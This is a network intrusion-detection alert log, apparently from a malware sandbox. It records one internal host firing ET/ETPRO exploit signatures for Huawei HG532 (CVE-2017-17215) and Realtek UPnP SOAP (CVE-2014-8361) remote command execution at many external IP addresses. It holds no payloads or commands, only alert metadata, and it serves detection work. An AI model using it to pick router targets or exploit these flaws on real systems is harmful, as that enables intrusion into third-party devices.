07/20/24-23:01:06.812906	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37386	37215	192.168.2.13	41.2.99.209
07/20/24-23:01:04.907418	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46534	37215	192.168.2.13	197.218.97.111
07/20/24-23:01:06.813789	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40864	37215	192.168.2.13	197.107.145.193
07/20/24-23:01:08.459274	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47400	37215	192.168.2.13	181.45.102.205
07/20/24-23:01:12.485954	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39680	37215	192.168.2.13	157.25.94.239
07/20/24-23:01:12.525593	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44640	37215	192.168.2.13	157.132.47.158
07/20/24-23:01:25.406212	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41648	37215	192.168.2.13	51.159.237.57
07/20/24-23:01:04.848636	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55666	37215	192.168.2.13	41.103.47.251
07/20/24-23:01:27.357902	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35036	52869	192.168.2.13	116.119.255.178
07/20/24-23:01:14.542240	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53422	52869	192.168.2.13	1.6.86.123
07/20/24-23:01:08.455371	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38202	37215	192.168.2.13	121.90.143.153
07/20/24-23:01:27.352673	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40200	52869	192.168.2.13	82.38.244.59
07/20/24-23:01:04.907418	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44330	37215	192.168.2.13	41.83.163.214
07/20/24-23:01:15.000002	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57738	37215	192.168.2.13	151.248.182.102
07/20/24-23:00:59.022037	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40934	37215	192.168.2.13	197.16.131.86
07/20/24-23:01:12.360353	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40890	37215	192.168.2.13	157.162.54.233
07/20/24-23:01:07.186219	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37648	52869	192.168.2.13	83.201.72.91
07/20/24-23:01:17.786876	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35996	37215	192.168.2.13	157.194.122.181
07/20/24-23:01:02.699257	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58484	37215	192.168.2.13	157.117.186.115
07/20/24-23:01:14.533279	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42366	52869	192.168.2.13	37.205.184.129
07/20/24-23:01:32.203847	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50280	37215	192.168.2.13	157.128.222.193
07/20/24-23:01:04.592707	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	32812	52869	192.168.2.13	100.58.169.89
07/20/24-23:01:14.556764	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52702	52869	192.168.2.13	47.206.114.161
07/20/24-23:00:59.055808	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47022	37215	192.168.2.13	157.16.61.193
07/20/24-23:01:02.678688	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51348	37215	192.168.2.13	157.25.228.57
07/20/24-23:01:06.800702	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40006	37215	192.168.2.13	41.97.97.145
07/20/24-23:01:15.000888	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51472	37215	192.168.2.13	197.147.181.109
07/20/24-23:01:04.798742	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48496	52869	192.168.2.13	135.241.25.166
07/20/24-23:01:07.411128	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58568	52869	192.168.2.13	57.53.68.209
07/20/24-23:01:36.812730	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36022	37215	192.168.2.13	197.22.89.78
07/20/24-23:01:07.426654	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57308	52869	192.168.2.13	13.232.225.193
07/20/24-23:01:12.502954	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33836	37215	192.168.2.13	197.119.203.28
07/20/24-23:01:14.535851	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60132	52869	192.168.2.13	187.123.127.227
07/20/24-23:01:14.536803	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50872	52869	192.168.2.13	82.166.201.81
07/20/24-23:01:06.806393	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56328	37215	192.168.2.13	157.146.203.166
07/20/24-23:01:15.000887	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53250	37215	192.168.2.13	157.87.191.160
07/20/24-23:01:19.329748	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42244	52869	192.168.2.13	80.238.42.16
07/20/24-23:01:32.213464	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50752	37215	192.168.2.13	157.34.139.95
07/20/24-23:01:25.391285	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47340	37215	192.168.2.13	18.85.84.92
07/20/24-23:01:14.559132	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59528	52869	192.168.2.13	54.236.238.51
07/20/24-23:01:32.271087	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57718	37215	192.168.2.13	168.29.107.22
07/20/24-23:01:06.812618	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39712	37215	192.168.2.13	197.10.21.189
07/20/24-23:01:14.506916	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47204	52869	192.168.2.13	40.11.215.79
07/20/24-23:01:22.799665	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54936	37215	192.168.2.13	197.129.109.210
07/20/24-23:01:04.908544	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53260	37215	192.168.2.13	119.59.179.103
07/20/24-23:01:27.306441	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46514	37215	192.168.2.13	157.129.139.199
07/20/24-23:01:19.345992	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52382	52869	192.168.2.13	98.254.20.30
07/20/24-23:01:07.598475	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33826	52869	192.168.2.13	41.74.147.143
07/20/24-23:01:08.407500	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53758	37215	192.168.2.13	197.238.24.191
07/20/24-23:01:14.536390	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50636	52869	192.168.2.13	183.32.240.14
07/20/24-23:01:05.801989	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35290	52869	192.168.2.13	130.147.77.29
07/20/24-23:01:27.277398	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59458	37215	192.168.2.13	100.2.80.95
07/20/24-23:01:14.508164	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49210	52869	192.168.2.13	160.241.202.23
07/20/24-23:01:06.801544	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56866	37215	192.168.2.13	197.44.202.147
07/20/24-23:01:32.264711	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55360	37215	192.168.2.13	133.115.216.238
07/20/24-23:00:59.023270	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42570	37215	192.168.2.13	181.77.179.109
07/20/24-23:01:08.407500	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45410	37215	192.168.2.13	41.87.103.106
07/20/24-23:01:14.502058	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33634	52869	192.168.2.13	193.107.65.164
07/20/24-23:01:12.492810	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39726	37215	192.168.2.13	157.173.117.30
07/20/24-23:01:25.460589	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56396	37215	192.168.2.13	41.252.230.80
07/20/24-23:01:14.539078	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45066	52869	192.168.2.13	141.36.128.134
07/20/24-23:01:14.570907	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37220	52869	192.168.2.13	1.212.57.243
07/20/24-23:01:14.513211	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48442	52869	192.168.2.13	13.164.169.253
07/20/24-23:01:06.287282	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37558	52869	192.168.2.13	76.239.185.4
07/20/24-23:01:27.354009	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34352	52869	192.168.2.13	157.51.202.158
07/20/24-23:01:36.846304	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55204	37215	192.168.2.13	41.88.127.111
07/20/24-23:01:04.892226	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35324	37215	192.168.2.13	157.171.92.123
07/20/24-23:01:06.799605	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52284	37215	192.168.2.13	113.33.105.127
07/20/24-23:01:27.283164	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33426	37215	192.168.2.13	37.73.51.105
07/20/24-23:01:27.237698	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53094	37215	192.168.2.13	164.229.75.25
07/20/24-23:01:04.861979	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53592	37215	192.168.2.13	197.221.120.154
07/20/24-23:01:20.563042	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52508	52869	192.168.2.13	138.112.34.112
07/20/24-23:01:36.781255	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56918	37215	192.168.2.13	41.139.175.226
07/20/24-23:01:25.390960	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45836	37215	192.168.2.13	117.238.157.130
07/20/24-23:01:32.267589	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60298	37215	192.168.2.13	2.82.37.56
07/20/24-23:01:07.555762	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53292	52869	192.168.2.13	107.240.237.92
07/20/24-23:01:14.516654	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51268	52869	192.168.2.13	191.252.251.212
07/20/24-23:01:07.457703	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42968	52869	192.168.2.13	112.136.148.134
07/20/24-23:01:27.360753	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39262	52869	192.168.2.13	103.178.1.192
07/20/24-23:01:14.520422	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53862	52869	192.168.2.13	84.26.238.160
07/20/24-23:01:25.460589	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51320	37215	192.168.2.13	157.147.219.6
07/20/24-23:01:36.850101	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58386	37215	192.168.2.13	117.212.142.220
07/20/24-23:01:08.391767	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39274	37215	192.168.2.13	59.52.78.111
07/20/24-23:00:59.021140	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45338	37215	192.168.2.13	41.44.46.164
07/20/24-23:01:12.484346	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59962	37215	192.168.2.13	157.27.82.47
07/20/24-23:01:02.603717	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60632	37215	192.168.2.13	201.248.6.28
07/20/24-23:01:32.202245	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38282	37215	192.168.2.13	89.106.94.160
07/20/24-23:01:27.285139	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49014	37215	192.168.2.13	157.115.125.161
07/20/24-23:01:14.533681	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39518	52869	192.168.2.13	211.247.29.248
07/20/24-23:01:27.297470	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47420	37215	192.168.2.13	41.160.238.161
07/20/24-23:00:59.020375	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50918	37215	192.168.2.13	157.245.110.242
07/20/24-23:01:32.202245	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53506	37215	192.168.2.13	41.237.245.241
07/20/24-23:01:14.575911	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46990	52869	192.168.2.13	96.235.29.144
07/20/24-23:01:25.456024	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34406	37215	192.168.2.13	41.43.248.105
07/20/24-23:01:32.206638	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38892	37215	192.168.2.13	87.24.150.210
07/20/24-23:01:04.879348	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49334	37215	192.168.2.13	87.96.38.237
07/20/24-23:00:59.055046	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43024	37215	192.168.2.13	157.42.124.218
07/20/24-23:01:27.358600	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56658	52869	192.168.2.13	80.223.139.197
07/20/24-23:01:05.609671	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53956	52869	192.168.2.13	97.114.117.29
07/20/24-23:01:27.232388	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36008	37215	192.168.2.13	130.135.54.218
07/20/24-23:01:36.787101	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55328	37215	192.168.2.13	114.129.1.105
07/20/24-23:00:59.021856	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57934	37215	192.168.2.13	41.114.67.30
07/20/24-23:01:12.357577	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43688	37215	192.168.2.13	105.211.89.122
07/20/24-23:01:27.355018	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33976	52869	192.168.2.13	84.156.35.88
07/20/24-23:01:36.793382	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50624	37215	192.168.2.13	41.137.24.118
07/20/24-23:01:22.737918	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36226	37215	192.168.2.13	197.11.131.92
07/20/24-23:01:06.800702	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54888	37215	192.168.2.13	103.212.24.174
07/20/24-23:01:04.960605	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47374	52869	192.168.2.13	183.33.143.75
07/20/24-23:01:36.866693	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47212	37215	192.168.2.13	197.91.33.73
07/20/24-23:01:07.550390	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55746	52869	192.168.2.13	95.49.112.227
07/20/24-23:01:12.553660	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39954	37215	192.168.2.13	157.147.113.171
07/20/24-23:01:25.390486	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51210	37215	192.168.2.13	41.27.247.39
07/20/24-23:01:06.805919	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34676	37215	192.168.2.13	41.128.154.178
07/20/24-23:01:04.892226	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37604	37215	192.168.2.13	197.7.205.229
07/20/24-23:01:14.530141	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39228	52869	192.168.2.13	62.126.184.91
07/20/24-23:01:02.594487	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33622	37215	192.168.2.13	41.215.54.255
07/20/24-23:00:59.022999	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49980	37215	192.168.2.13	217.47.253.96
07/20/24-23:01:17.773605	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58908	37215	192.168.2.13	157.99.139.53
07/20/24-23:01:22.738019	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45424	37215	192.168.2.13	157.195.203.155
07/20/24-23:01:06.171643	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39944	52869	192.168.2.13	195.228.120.248
07/20/24-23:01:12.543114	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39056	37215	192.168.2.13	197.36.185.169
07/20/24-23:01:14.544463	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46230	52869	192.168.2.13	43.240.11.124
07/20/24-23:01:32.252814	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60512	37215	192.168.2.13	197.186.203.198
07/20/24-23:01:02.685657	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32996	37215	192.168.2.13	197.26.157.201
07/20/24-23:01:32.259331	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55504	37215	192.168.2.13	41.166.91.253
07/20/24-23:01:14.503288	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44494	52869	192.168.2.13	143.236.166.197
07/20/24-23:01:32.201728	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56450	37215	192.168.2.13	169.107.232.198
07/20/24-23:01:36.787101	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60860	37215	192.168.2.13	197.157.73.107
07/20/24-23:01:14.547545	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59308	52869	192.168.2.13	13.232.225.193
07/20/24-23:00:59.022941	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38556	37215	192.168.2.13	157.11.18.169
07/20/24-23:01:27.362964	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59164	52869	192.168.2.13	89.83.219.148
07/20/24-23:01:22.736667	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49064	37215	192.168.2.13	41.93.90.227
07/20/24-23:01:36.787101	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35164	37215	192.168.2.13	41.44.221.20
07/20/24-23:01:17.785461	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55268	37215	192.168.2.13	62.206.41.168
07/20/24-23:01:25.413015	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41520	37215	192.168.2.13	197.65.13.85
07/20/24-23:01:06.002151	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35948	52869	192.168.2.13	63.139.62.111
07/20/24-23:01:12.356775	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39062	37215	192.168.2.13	197.71.12.189
07/20/24-23:01:27.358600	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41592	52869	192.168.2.13	168.200.41.227
07/20/24-23:01:22.810316	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36086	37215	192.168.2.13	197.254.150.61
07/20/24-23:01:04.853128	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54338	37215	192.168.2.13	41.29.132.43
07/20/24-23:01:32.202245	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46596	37215	192.168.2.13	41.160.78.157
07/20/24-23:01:36.850221	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60342	37215	192.168.2.13	41.140.9.88
07/20/24-23:01:05.570843	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35784	52869	192.168.2.13	70.194.220.73
07/20/24-23:01:04.858015	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48948	37215	192.168.2.13	197.243.136.112
07/20/24-23:01:25.443184	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47248	37215	192.168.2.13	41.102.55.227
07/20/24-23:01:05.005729	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40360	52869	192.168.2.13	156.218.218.173
07/20/24-23:01:14.998444	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48702	37215	192.168.2.13	157.124.41.173
07/20/24-23:01:36.799485	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38828	37215	192.168.2.13	157.214.82.82
07/20/24-23:01:04.855996	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50636	37215	192.168.2.13	157.153.183.158
07/20/24-23:01:02.703502	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48162	37215	192.168.2.13	197.75.193.161
07/20/24-23:01:36.862442	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58130	37215	192.168.2.13	41.75.65.56
07/20/24-23:01:04.892226	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44036	37215	192.168.2.13	210.103.19.185
07/20/24-23:01:04.592586	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44176	52869	192.168.2.13	38.49.123.120
07/20/24-23:01:08.407067	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41502	37215	192.168.2.13	41.75.191.9
07/20/24-23:01:08.381624	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53652	37215	192.168.2.13	152.151.18.5
07/20/24-23:01:36.852816	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55220	37215	192.168.2.13	197.140.4.23
07/20/24-23:01:12.485458	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39152	37215	192.168.2.13	197.85.21.124
07/20/24-23:01:32.206637	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34782	37215	192.168.2.13	197.27.18.240
07/20/24-23:01:27.361992	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33502	52869	192.168.2.13	51.92.99.71
07/20/24-23:01:04.893876	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34186	37215	192.168.2.13	141.78.2.84
07/20/24-23:01:06.800702	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56986	37215	192.168.2.13	41.9.194.141
07/20/24-23:01:12.504870	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56734	37215	192.168.2.13	197.33.104.162
07/20/24-23:01:32.276800	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40660	37215	192.168.2.13	197.178.123.199
07/20/24-23:01:04.168266	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37400	52869	192.168.2.13	119.44.232.241
07/20/24-23:01:27.277398	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52414	37215	192.168.2.13	157.179.148.237
07/20/24-23:00:59.021905	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42974	37215	192.168.2.13	157.11.177.150
07/20/24-23:01:12.533731	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50748	37215	192.168.2.13	157.235.116.70
07/20/24-23:01:27.358600	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32812	52869	192.168.2.13	159.48.133.27
07/20/24-23:01:02.612616	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59616	37215	192.168.2.13	41.104.162.59
07/20/24-23:01:27.289200	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36642	37215	192.168.2.13	88.243.83.197
07/20/24-23:01:32.259330	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40012	37215	192.168.2.13	197.221.235.93
07/20/24-23:01:06.600161	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45432	52869	192.168.2.13	202.189.16.223
07/20/24-23:01:27.229449	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44440	37215	192.168.2.13	41.158.160.89
07/20/24-23:01:32.260444	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55558	37215	192.168.2.13	84.177.161.48
07/20/24-23:01:25.388789	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36928	37215	192.168.2.13	157.124.65.87
